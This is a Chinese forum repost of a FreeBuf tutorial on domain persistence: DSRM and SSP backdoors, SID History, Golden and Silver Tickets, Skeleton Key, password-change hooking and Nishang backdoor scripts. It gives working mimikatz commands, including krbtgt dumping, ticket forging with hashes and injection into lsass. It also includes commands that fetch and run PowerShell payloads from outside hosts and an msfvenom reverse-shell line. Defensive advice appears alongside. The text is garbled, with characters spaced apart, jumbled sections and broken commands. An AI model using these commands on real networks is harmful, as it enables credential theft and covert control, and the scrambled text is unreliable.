搜索

[17178] 2021-08-22_内网渗透基石篇—权限维持分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-22_内网渗透基石篇—权限维持分析 内 网 渗 透 基 石 篇 — 权 限 维 持 分 析 原 创   p o n y 6 8 6   F r e e B u f   2 0 2 1 - 0 8 - 2 2 一 、 一 、 D S R M 域 后 门 域 后 门 1 . D S R M 域 后 门 简 介 域 后 门 简 介 D S R M （ 目 录 服 务 恢 复 模 式 ， 目 录 服 务 恢 复 模 式 ） 是 W i n d o w s 域 环 境 中 域 控 制 器 的 安 全 模 式 启 动 选 项 。 每 个 域 控 制 器 占 用 一 个 本 地 账 户 账 户 （ 也 就 是 D S R M 账 户 ） 。 D S R M 的 用 途 是 ： 允 许 管 理 员 在 域 环 境 中 出 现 故 障 或 崩 溃 时 还 原 、 修 复 、 重 建 活 动 目 录 数 据 库 ， 使 环 境 的 运 行 恢 复 正 常 。 修 改 方 法 。 修 改 D S R M 密 码 的 基 本 原 理 是 在 D C 上 运 行 n t d s u t i l 命 令 行 工 具 。 在 渗 透 测 试 中 ， 可 以 使 用 D S R M 域 对 域 环 境 进 行 持 久 化 操 作 。 如 果 域 控 制 器 的 系 统 版 本 为 W i n d o w s   S e r v e r   2 0 0 8 ， 需 要 安 装 K B 9 6 1 3 2 0 才 可 以 使 用 指 定 域 账 号 的 密 码 对 D S R M 的 密 码 进 行 同 步 。 在 W i n d o w s   S e r v e r   2 0 0 8 以 后 版 本 的 系 统 中 无 需 安 装 此 补 丁 方 法 。 如 果 域 控 制 器 的 系 统 版 本 为 W i n d o w s   S e r v e r   2 0 0 3 则 不 能 进 行 使 用 我 们 知 道 ， 域 控 制 器 本 地 管 理 员 和 密 码 （ 与 管 理 员 账 号 和 密 码 不 同 ） 。 D S R M   帐 号 可 以 作 为 一 个 域 控 制 器 的 本 地 管 理 品 用 户 ， 通 过 网 络 连 接 控 制 器 ， 驯 服 控 制 域 控 制 器 。 1 . 修 改 D S R M 密 码 的 方 法 2 . 如 果 域 控 制 器 的 系 统 版 本 为   W i n d o w s   S e r v e r   2 0 8   已 安 装   K B 9 6 1 3 2 0   及 以 上 ， 可 以 将   D S R M   密 码 同 步 为 已 存 在 的 域 密 码 。 常 用 命 令 说 明 如 下 。 2 . 实 验 操 作 实 验 操 作 1 . 在 域 控 上 运 行 m i m i k a t z ， 分 别 读 取 域 用 户 的 N T L M   h a s h 和 本 地 管 理 员 的 N T L M   h a s h 8 . 3 . 2   S S P 维 持 域 控 权 限 读 域 用 户 2 . 读 取 本 地 管 理 员 （ D S R M ） 3 . 将 D S R M 的 哈 希 值 与 域 用 户 同 步 验 证 下 是 否 同 步 成 功 修 改 D S R M 登 录 方 式 注 册 表 路 径 是 （ 系 统 默 认 是 不 存 在 的 ， 请 手 动 添 加 ） ， 其 可 能 的 值 如 下 ： 0 （ 默 认 值 ） ： 只 有 当   D C   重 启 进 入   D S R M   时 ， 你 才 能 使 用   D S R M   管 理 员 帐 户 。 1 ： 只 有 当 本 地 A D   D S 服 务 停 止 时 ， 你 才 能 使 用 D S R M 管 理 员 帐 户 登 录 。 2 ： 无 论 哪 一 种 情 况 ， 你 都 可 以 使 用   D S R M   管 理 员 帐 户 登 录 。 （ 不 推 荐 ， 因 为 密 码 策 略 并 不 会 应 用 到   D S R M   的 管 理 员 帐 户 ） 我 们 需 要 修 改 其 值 为 2 可 以 在 p o w e r s h e l l 下 执 行 4 . 使 用 D S R M 远 程 登 录 在 域 内 机 器 已 以 管 理 员 身 份 运 行 m i m i k a t z ， 执 行 如 下 命 令 N T D S U T I L :   打 开 n d s u i l s e t   d s r m   p a s s w o r d : 设 置 D S R M 的 密 码 。 r e s e t   p s s w o r d   o n   s e r v e r   n u l l : 在 当 前 域 控 制 器 上 恢 复 D S R M 密 码 。 < P A S S W O R D > : 修 改 后 的 密 码 。 q ( 第 1 次 ) : 退 出 D S R M 密 码 设 置 模 式 。 q ( 第 2 次 ) : 退 出 n t d s u t i l N T D S U T I L :   打 开 n t d s u t i l 。 S E T   D S R M   P A S S W O R D : 设 置 D S R M 的 密 码 。 S Y N C   F R O M   D O M A I N   A C C O U N T   d o m a i n u s e r n a m e : 使 D S R M 的 密 码 和 指 定 域 用 户 的 密 码 同 步 。 q ( 第 1 次 ) : 退 出 D S R M 密 码 设 置 模 式 。 q ( 第 2 次 ) : 退 出 n t d s u t i l 。 p r i v i l e g e : : d e b u g l s a d u m p : : l s a   / p a t c h   / n a m e : l r b t g t t o k e n : : e l e v a t e l s a d u m p : : s a m H K L M S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a D S R M A d m i n L o g o n B e h a v i o r n e w - i t e m p r o p e r t y   " h k l m : S y s t e m C u r r e n t C o n t r o l S e t C o n t r o l L s a "   - n a m e   " D S R M A d m i n L o g o n B e h a v i o r "   - v a l u e   2   - p r o p e r t y T y p e   D W O R D p r i v i l e g e : : d e b u g s e k u r l s a : : p t h   / d o m a i n : d o m a i n n a m e   / u s e r : u s e r n a m e   / n t l m : n t l m h a s h
3 . 防 御 措 施 防 御 措 施 定 期 检 查 注 册 表 中 用 于 控 制 D S R M 登 录 方 式 的 键 值 h k l m : s y s t e m c u r r e n t c o n t r o l s e t c o n t r o l l s a 确 认 该 键 值 为 1 ， 或 者 删 除 键 值 。 定 期 修 改 城 中 所 有 城 控 制 器 的 D S R M 账 号 。 当 设 置 活 动 目 录 服 务 还 原 模 式 的 管 理 员 密 码 会 被 记 录 在   4 7 9 4   日 志 中 。 二 、 二 、 S S P 维 持 域 控 制 权 限 维 持 域 控 制 权 限 S S P （ S e c u r i t y   S u p p o r t   P r o v i d e r ） 是 W i n d o w s 操 作 系 统 安 全 机 制 的 提 供 者 。 简 单 地 说 ， S S P 是 个 D l L 文 件 ， 主 要 支 持 W i n d o w s 操 作 系 统 的 身 份 认 证 功 能 ， 例 如 N T L M 、 K e t b e r o s 、 N e g o t i a r e 。 S e u r e   C h a n n e l   ( S c h a n n e l   ) 、 D i g e s t 、 C r e d e n t a l   ( C r e d S S P   ) 。 S S P I   ( S e c u r i t y   S u p p o r t   P r o v i d e r   I n t e r f c e . 安 全 支 持 提 供 程 序 接 口 ) 是 W i n d o w s 在 执 行 认 证 操 作 时 使 用 的 A P I 接 口 。 可 以 说 ， S S P I 是 S S P 的 A P I 接 口 。 如 果 获 得 了 网 络 中 目 标 机 器 的 系 统 ， 可 以 使 用 该 方 法 进 行 持 久 权 限 化 操 作 。 其 主 要 原 理 是 ： L S A （ 本 地 安 全 机 构 ） 用 于 验 证 身 份 ； l s a s s . e x e   是   W i n d o w s   的 系 统 进 程 ， 用 于 本 地 安 全 和 登 录 策 略 ； 在 系 统 启 动 时 ， S S P   将 被 加 载 到   l s a s s . e x e   进 程 中 。 但 是 ， 破 坏 攻 击 者   L S A   进 行 了 扩 展 ， 自 定 义 了 恶 意 的   D L L 文 件 ， 在 系 统 启 动 时 将 其 加 载 到 L S A S S . E X E 进 程 中 ， 就 能 够 获 取 的 L s a s s . e x e 进 程 中 的 明 文 密 码 。 这 样 ， 即 使 用 户 更 改 密 码 并 重 新 登 录 ， 攻 击 者 依 然 可 以 获 取 该 账 号 的 新 密 码 ， 可 以 针 对 这 一 点 采 取 相 应 的 防 御 措 施 。 1 . 使 用 m i m i k a t z 打 开 p r i v i l e g e : : d e b u g m i s c : : m e m s s p 2 . 登 录 当 前 用 户 日 志 。 输 入 用 户 名 和 密 码 后 登 录 ， 获 取 明 文 密 码 ， 密 码 存 储 在 文 件 。 C : W i n d o w s S y s t e m 3 2 m i m i l s a . l o g 中 。 1 . 实 验 操 作 实 验 操 作 实 验 环 境 ： s e r v e r 2 0 0 7 域 主 机   w i n 7 1 . 添 加 添 加 s s p 将 m i m i l i b . d l l 复 制 到 域 控 c : w i n d o w s s y s t e m 3 2 下 2 、 设 置 、 设 置 S S P 修 改 域 控 注 册 表 位 置 ：
3 . 在 在 S e c u r i t y   P a c k a g e s 下 添 加 下 添 加 m i m i l i b . d l l 3 、 重 启 系 统 、 重 启 系 统 域 控 重 启 后 在 可 看 到 新 生 成 的 文 件 k i w i s s p . l o g ， 里 面 含 用 户 名 和 密 码 。 三 、 三 、   S I D 历 史 域 后 门 历 史 域 后 门 每 个 用 户 拥 有 自 己 的   S I D 。 S I D   的 作 用 主 要 是 追 踪 安 全 主 体 控 制 用 户 连 接 资 源 时 的 访 问 权 限 。 S I D   历 史 是 在 迁 移 过 程 中 需 要 使 用 的 一 个 属 性 。 如 果 将 域 中 域 的 用 户 迁 移 到   B   域 中 ， 那 么 在   B 域 中 新 建 的   S I D   会 唤 醒 一 个 用 户 影 响 迁 移 后 用 户 的 权 限 ， 导 致 迁 移 后 无 法 访 问 用 户 本 来 的 资 源 。 S I D 的 作 用 是 在 域 迁 移 中 过 程 域 用 户 的 访 问 ， 即 如 果 迁 移 后 用 户 的 S I D 改 变 了 系 统 ， 保 持 迁 移 其 原 始 的 S I D 到 迁 移 后 的 用 户 的 S I D 属 性 中 ， 使 迁 移 后 的 S I D 用 户 的 历 史 用 户 或 者 保 持 原 有 权 限 、 能 够 访 问 其 原 来 可 以 访 问 的 资 源 。 使 用 m i m i k a z ， 可 以 将 S I D 历 史 属 性 添 加 到 域 中 任 意 用 户 的 S I D 历 史 属 性 中 。 在 渗 透 测 试 中 ， 如 果 获 得 了 管 理 员 权 限 （ 等 同 于 ） 域 管 理 员 的 权 限 ） 。 就 可 以 将   S I D H i s o y   实 现 为 持 久 化 的 方 法 。 将 将 A d m i n i s t r a t o r 的 的 S I D 添 加 到 恶 意 用 户 测 试 的 添 加 到 恶 意 用 户 测 试 的 S I D   H i s t o r y 属 性 中 。 使 用 属 性 中 。 使 用 p o w e r s h e l l 查 看 用 户 的 查 看 用 户 的 S I D   H i s t o r y 属 性 属 性 利 用 前 提 ： 1 . 实 验 操 作 实 验 操 作 1 .   当 前 域 与 其 他 域 有 信 任 关 系 。 2 .   开 启 S I D   H i s t o r y ， 与 其 中 任 意 一 个 开 启 S I D   H i s t o r y 信 任 ， 即 可 使 用 下 面 的 方 法 2 . G O L D e n   T I C K e t G o l d e n   T i c k e t 介 绍 在 渗 透 测 试 中 ， 如 果 发 现 系 统 中 存 在 恶 意 行 为 ， 应 及 时 更 改 域 管 理 员 密 码 ， 对 受 控 制 的 机 器 进 行 断 网 处 理 ， 然 后 进 行 日 志 分 析 取 证 。 然 而 ， 攻 击 者 往 往 会 留 下 多 条 进 入 内 网 的 通 道 ， 如 果 我 们 忘 记 将 k r b t g t 账 号 重 置 ， 攻 击 者 就 可 以 很 快 拿 到 域 控 制 器 权 限 。 k r b t g t 是 K D C 服 务 使 用 的 账 号 ， 属 于 D o m a i n   A d m i n s 组 ， 在 域 环 境 中 ， 每 个 用 户 账 号 的 票 据 都 是 由 k r b t g t 生 成 的 ， 如 果 攻 击 者 拿 到 了 k r b t g t 的 N Y L M   H a s h 或 者 A E S - 2 5 6 值 ， 就 可 以 伪 造 域 内 任 意 用 户 的 身 份 ， 并 以 该 用 户 的 身 份 访 问 其 他 服 务 。 攻 击 者 在 使 用 域 的 G o l d e n   T i c k e t ( 黄 金 票 据 ) 进 行 票 据 攻 击 时 ， 通 常 需 要 掌 握 以 下 信 息 ： 需 要 伪 造 的 域 管 理 员 用 户 名 完 整 的 域 名 域 S I D k r b t g t 的 N T L M   H a s h 或 A E S - 2 5 6 值 使 用 G o l d e n   T i c k e t 伪 造 的 用 户 可 以 是 任 意 用 户 ( 即 使 这 个 用 户 不 存 在 ) ， 因 为 T G T 的 加 密 是 由 k r b t g t 完 成 的 ， 所 以 ， 只 要 T G T 被 k r b t g t 账 户 和 密 码 正 确 的 加 密 ， 那 么 任 意 K D C 使 用 k r b t g t 将 T G T 解 密 后 ， T G T 的 所 有 信 息 都 是 可 信 的 。 （ 1 ） 首 先 获 取 k r b t g t 的 N T L M   H a s h ： 在 域 控 中 输 入 如 下 命 令 获 取 k r b t g t 账 号 的 N T L M   H a s h ： c : w i n d o w s s y s t e m 3 2 m i m i k a t z   l s a d u m p : d c s y n c   / d o m a i n : p i n g e r . t e s t l a b   / u s e r : k r b t g t
（ 2 ） 获 取 域 S I D ： 直 接 输 入 如 下 命 令 ， 即 可 查 看 域 内 所 有 账 号 的 S I D ， 去 掉 末 尾 的 就 是 域 的 S I D ： （ 3 ） 获 取 域 管 账 号 ： 输 入 如 下 命 令 获 取 ： （ 4 ） 获 取 域 名 ： 直 接 输 入 i p c o n f i g   / a l l 就 可 以 获 取 了 ； （ 5 ） 使 用 m i m i k a t z 生 成 黄 金 票 据 ： 然 后 在 低 权 的 机 器 上 使 用 m i m i k a t z 生 成 黄 金 票 据 ： m i m i k a t z   k e r b e r o s : : g o l d e n   / a d m i n : A d m i n i s t r a t o r   / d o m a i n : p i n g e r . t e s t l a b   / s i d : S - 1 - 5 - 2 1 - 1 9 8 1 7 3 6 0 3 4 - 2 1 8 7 9 3 2 8 1 8 - 3 3 9 8 6 3 5 0 9 7   / k r b t g t : f c a 1 a e 5 6 3 8 a 7 0 2 c 6 e 8 6 d d a 4 5 1 6 6 4 a 8 5 8 / t i c k e t : A d m i n i s t r a t o r . k i r i b i 6 . 使 用 m i m i k a t z 导 入 票 据 进 行 P T T 了 ： 7 . 最 后 在 通 过 查 看 D C 的 C 盘 验 证 下 权 限 ： d i r   d c c $ 3 . G o l e n   T I c k e t   攻 击 的 防 御 措 施 攻 击 的 防 御 措 施 管 理 员 通 常 会 修 改 域 管 理 员 的 密 码 ， 但 有 时 会 忘 记 将 k r b t g t 密 码 一 并 重 置 ， 所 以 ， 要 想 防 止 G o l d e n   T i c k e t 攻 击 ， 就 需 要 将 k r b t g t 密 码 重 置 两 次 。 四 、 四 、 S i l v e r   T i c k e t （ 白 银 票 据 ） （ 白 银 票 据 ） S i l v e r   T i c k e t ( 白 银 票 据 ) 不 同 于 G o l d e n   T i c k e t 。 S i l v e r   T i c k e t 的 利 用 过 程 是 伪 造 T G S ， 通 过 已 知 授 权 服 务 密 码 生 成 一 张 可 以 访 问 该 服 务 的 T G T 。 因 为 在 票 据 生 成 过 程 中 不 需 要 使 用 K D C ， 所 以 可 以 绕 过 域 控 制 器 ， 很 少 留 下 日 志 。 而 G o l d e n   T i c k e t 在 利 用 过 程 中 需 要 由 K D C 颁 发 T G T ， 并 且 在 生 成 伪 造 的 T G T 的 2 0 分 钟 内 ， T G S 不 会 对 该 T G T 真 伪 进 行 校 验 。 S i l v e r   T i c k e t 依 赖 于 服 务 账 号 的 密 码 散 列 值 ， 这 不 同 于 G o l d e n   T i c k e t 利 用 需 要 使 用 k r b t g t 账 号 密 码 的 散 列 值 ， 因 此 更 加 隐 蔽 。 G o l d e n   T i c k e t 使 用 k r b t g t 账 号 的 密 码 散 列 值 ， 利 用 伪 造 最 高 权 限 的 T G T 向 K D C 要 求 颁 发 拥 有 任 意 服 务 访 问 权 限 的 票 据 ， 从 而 获 得 域 控 制 器 权 限 。 而 S i l v e r   T i c k e t 会 通 过 相 应 的 账 号 服 务 来 伪 造 T G S ， 范 围 有 限 ， 只 能 获 得 对 应 的 权 限 服 务 。 G o l d e n   T i c k e t 是 由 k r b t g t 账 号 加 密 的 ， 而 S i l v e r   T i c k e t 是 由 特 定 的 服 务 账 号 加 密 的 。 攻 击 者 在 使 用 S i l v e r   T i c k e t 对 内 网 进 行 攻 击 时 ， 需 要 掌 握 以 下 信 息 ： 域 名 域 S I D 目 标 服 务 器 的 F Q D N 可 利 用 的 服 务
服 务 账 号 的 N T L M   H a s h 需 要 伪 造 的 用 户 名 1 . 实 验 操 作 实 验 操 作 （ 1 ） 首 先 获 取 服 务 账 号 的 N T L M   H a s h ： 在 域 控 中 输 入 如 下 命 令 ： （ 2 ） 使 用 m i m i k a t z 生 成 白 银 票 据 ： 然 后 使 用 m i m i k a t z 生 成 C I F S 服 务 的 白 银 票 据 并 导 入 内 存 ： m i m i k a t z   k e r b e r o s : : g o l d e n   / d o m a i n : p i n g e r . t e s t l a b   / s i d : S - 1 - 5 - 2 1 - 1 9 8 1 7 3 6 0 3 4 - 2 1 8 7 9 3 2 8 1 8 - 3 3 9 8 6 3 5 0 9 7   / t a r g e t : d c . p i n g e r . t e s t l a b   / s e r v i c e : c i f s   / r c 4 : 6 3 5 2 6 0 b 8 2 5 9 e 4 1 f e e d 7 1 f 6 f 0 b 0 f d 0 f 6 4 / u s e r : A d m i n i s t r a t o r   / p t t （ 3 ) . 成 功 拿 到 目 录 。 2 . S i l v e r   T i c k e t 攻 击 的 防 范 措 施 攻 击 的 防 范 措 施 在 内 网 中 安 装 杀 毒 软 件 ， 及 时 更 新 系 统 补 丁 使 用 组 策 略 在 域 中 进 行 相 应 的 设 置 ， 现 值 m i m i k a t z 在 内 网 中 的 使 用 计 算 机 的 账 号 密 码 默 认 3 0 天 清 理 一 次 ， 检 查 该 设 置 是 否 生 效 3 . 实 验 操 作 实 验 操 作 （ 1 ） 在 域 控 中 直 接 执 行 m i m i k a t z ， 如 下 命 令 所 示 ： （ 2 ） 然 后 直 接 在 低 权 限 的 机 器 上 尝 试 用 万 能 密 码 登 录 ： 万 能 密 码 为 “ m i m i k a t z ” ， 使 用 S M B 登 录 。 4 . S k e l e t o n   K e y m i m i k a t z   m i s c : : s k e l e t o n s h e l l   n e t   u s e   d c i p c $   " m i m i k a t z "   / u s e r : p i n g e r . t e s t l a b A d m i n i s t r a t o r
使 用 S k e l e t o n   K e y ( 万 能 密 码 ) , 可 以 对 域 内 权 限 进 行 持 久 化 操 作 。 S k e l e t o n   K e y 攻 击 的 防 范 措 施 攻 击 的 防 范 措 施 域 管 理 员 要 设 置 强 口 令 ， 确 保 恶 意 代 码 不 会 在 域 控 制 器 内 执 行 在 所 有 域 用 户 中 启 动 双 因 子 认 证 ， 例 如 智 能 卡 认 证 启 动 应 用 程 序 的 白 名 单 ， 以 限 制 m i m a k a t z 在 域 控 制 器 中 的 运 行 H o o k   P a s s w o r d C h a n g e N o t i f y 的 作 用 是 当 用 户 修 改 密 码 后 在 系 统 中 进 行 同 步 。 攻 击 者 可 以 利 用 该 功 能 获 取 用 户 修 改 密 码 时 输 入 的 密 码 明 文 。 5 . H o o k   P a s s w o r d C h a n g e N o t i f y 攻 击 的 防 御 措 施 攻 击 的 防 御 措 施 使 用 H o o k   P a s s w o r d C h a n g e N o t i f y 不 需 要 重 启 系 统 、 不 会 在 系 统 磁 盘 上 留 下 D L L 文 件 、 不 需 要 修 改 注 册 表 。 如 果 H o o k   P a s s w o r d C h a n g e N o t i f y 被 攻 击 者 利 用 ， 网 络 管 理 员 是 很 难 检 测 到 的 。 所 以 ， 在 日 常 的 网 络 维 护 工 作 中 ， 需 要 对 P o w e r S h e l l 进 行 严 格 检 视 ， 并 启 用 约 束 语 言 模 式 ， 对 H o o k   P a s s w o r d C h a n g e N o t i f y 进 行 防 御 。 1 . 实 验 操 作 分 别 输 人 如 下 命 令 ， 使 用 I n v o k e   R e f l e t i v e P E I n i e c t i o n . p s l 将 H o o k P a s s w o r d C h a n g e . d l 注 入 内 存 ， 在 目 标 系 统 中 启 动 管 理 员 权 限 的 P o w e r S h e l l I m p o r t - M o d u l e   . I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s l I n v o k e - R e f l e c t i v e P E I n j e c t i o n   - P E P a t h   H o o k P a s s w o r d C h a n g e . d l l   - p r o c n a m e   l s a s s 修 改 用 户 密 码 n e t   u s e r   a d m i n i s t r a t o r   1 2 3 查 看 c : w i n d o w s t e m p p a s s w o r d s . t x t 可 以 看 到 修 改 后 的 密 码 。 6 .   N i s h a n g   下 的 脚 本 后 门 分 析 与 防 范 下 的 脚 本 后 门 分 析 与 防 范 N i s h a n g 是 基 于 P o r s t h e l 的 渗 透 测 试 工 具 ， 集 成 了 很 多 框 架 、 脚 本 及 各 种   P a y l o a d 在 N i s h a n g 环 境 中 对 一 些 脚 本 后 门 进 行 分 析 。 1 .   H T T P - B a c k d o o r 脚 本 此 脚 本 可 以 帮 助 攻 击 者 在 目 标 主 机 上 下 载 和 执 行 P o w e r s h e l l 脚 本 ， 接 收 来 自 第 三 方 网 站 的 指 令 ， 在 内 存 中 执 行 P o w e r S h e l l 脚 本 ， 其 语 法 如 下 。 2 . A d d - S c r n S a v e B a c k d o o r 3 . E x e c u t e -   - O n T i m e 4 .   I n v o k e -   A D S B a c k d o o r I n v o k e - A D S B a c k d o o r 脚 本 能 够 在 N T F S 数 据 流 中 留 下 一 个   永 久 性 的 后 门 。 这 种 方 法 的 威 胁 是 很 大 的 ， 因 为 其 留 下 的 后 门 是 永 久 性 的 ， 且 不 容 易 被 发 现 。 I n v o k e - A D S B a c k d o o r 脚 本 用 于 向 A D S 注 入 代 码 并 以 普 通 用 户 权 限 运 行 。 总 结 总 结 后 门 是 权 限 维 持 的 重 要 一 步 ， 要 想 持 续 控 制 ， 就 得 做 一 些 后 门 上 去 ， 后 门 是 绕 过 安 全 控 制 获 取 对 程 序 或 系 统 访 问 权 限 的 方 法 。 此 篇 文 章 主 要 介 绍 一 些 常 用 的 生 成 后 门 的 方 式 ， 以 及 如 何 进 行 防 御 后 门 。 精 彩 推 荐 精 彩 推 荐 T T P - B a c k d o o r   - C h e c k U R L   h t t p : / /     - P a y l o a d U R L   h t t p : / /       - M a g i c S t r i n g   s t a r t   - S t o p S t r i n g   s t o p C h e c k U R L : 给 出 一 个 U R L 地 址 。 如 果 该 地 址 存 在 ， M a g i s t r i n g 中 的 值 就 会 执 行 P a y l o a d , 下 载 并 运 行 攻 击 者 的 脚 本 。 - P a y l o a d U R L :   给 出 需 要 下 载 的 P o w e r S h e l l 脚 本 的 地 址 。 - S t o p S t r i n g :   判 断 是 否 存 在 C h e c k U R L 返 回 的 字 符 串 ， 如 果 存 在 则 停 止 执 行 。 A d d   S c r n S a v e B a c k d o o r 脚 本 可 以 帮 助 攻 击 者 利 用 W i n d o w s 的 屏 幕 保 护 程 序 来 安 插 一 个 隐 藏 的 后 门 A d d - S c r n S a v e B a c k d o o r   - P a y l o a d   " p o w e r s h e 1 l . e x e   - E x e c u t i o n P o l i c y   B y p a s s   - n c p r o f i l e   - n o e x i t   - c   G e t - P r o c e s s "         # # 执 行 P a y l o a d A d d - S c r n s a v e B a c k d o o r   - P a y l o a d U R L   h t t p : / / 1 9 2 . 1 6 8 . 2 5 4 . 1 / P o w e r p r e t e r . p s m   - A r g u m e n t s   H T T P - B a c k d o o r   h t t p : / / . . .   s t a r t 1 2 3   s t o p t h i s         # 在 P o w e r S h e l l 中 执 行 一 个 H T T P - B a c k d o o r 脚 本 A d d - S c r n S a v e B a c k d o o r   - P a y l o a d U R L   h t t p : / / 1 9 2 . 1 6 8 . 2 5 4 . 1 / c o d e   e x e c . p s l   - P a y l o a d U R L : 指 定 需 要 下 载 的 脚 本 的 地 址 。 A r g u m e n t s : 指 定 需 要 执 行 的 函 数 及 相 关 参 数 。 攻 击 者 也 会 使 用 m s f v e n o m 生 成 一 个 P o w e r S h e l l ,   然 后 执 行 如 下 命 令 ， 返 回 一 个 m e t e r p r e t e r 。 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s   L H O S T = E x e c u t e - O n T i m e 脚 本 用 于 在 目 标 主 机 上 指 定 P o w e r S h e l l 脚 本 的 执 行 时 间 ， 与 H T T P - B a c k d o o r 脚 本 的 使 用 方 法 相 似 ， 只 不 过 增 加 了 定 时 功 能 ， 其 语 法 如 下 。 P S   >   E x e c u t e - O n T i m e   - P a y l o a d U R L   h t t p : / / p a s t e b i n . c o m / r a w . p h p ? i = Z h y f 8 r w h   - A r g u m e n t s   P a y l o a d U R L : 指 定 下 载 的 脚 本 的 地 址 。 - A r g u m e n t s :   指 定 要 执 行 的 函 数 名 。 - T i m e :   设 置 脚 本 执 行 的 时 间 ， 例 如 “ - T i m e   2 3 : 2 1 ” 。 - C h e c k U R L : 检 测 一 个 指 定 的 U R L 里 是 否 存 在 S t o p S t r i n g 给 出 的 字 符 串 ， 如 果 存 在 就 停 止 执 行 。 I n v o k e - A D S B a c k d o o r   - P a y l o a d U R L   h t t p : / / 1 9 2 . 1 6 8 . 1 2 . 1 1 0 / t e s t . p s 1
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理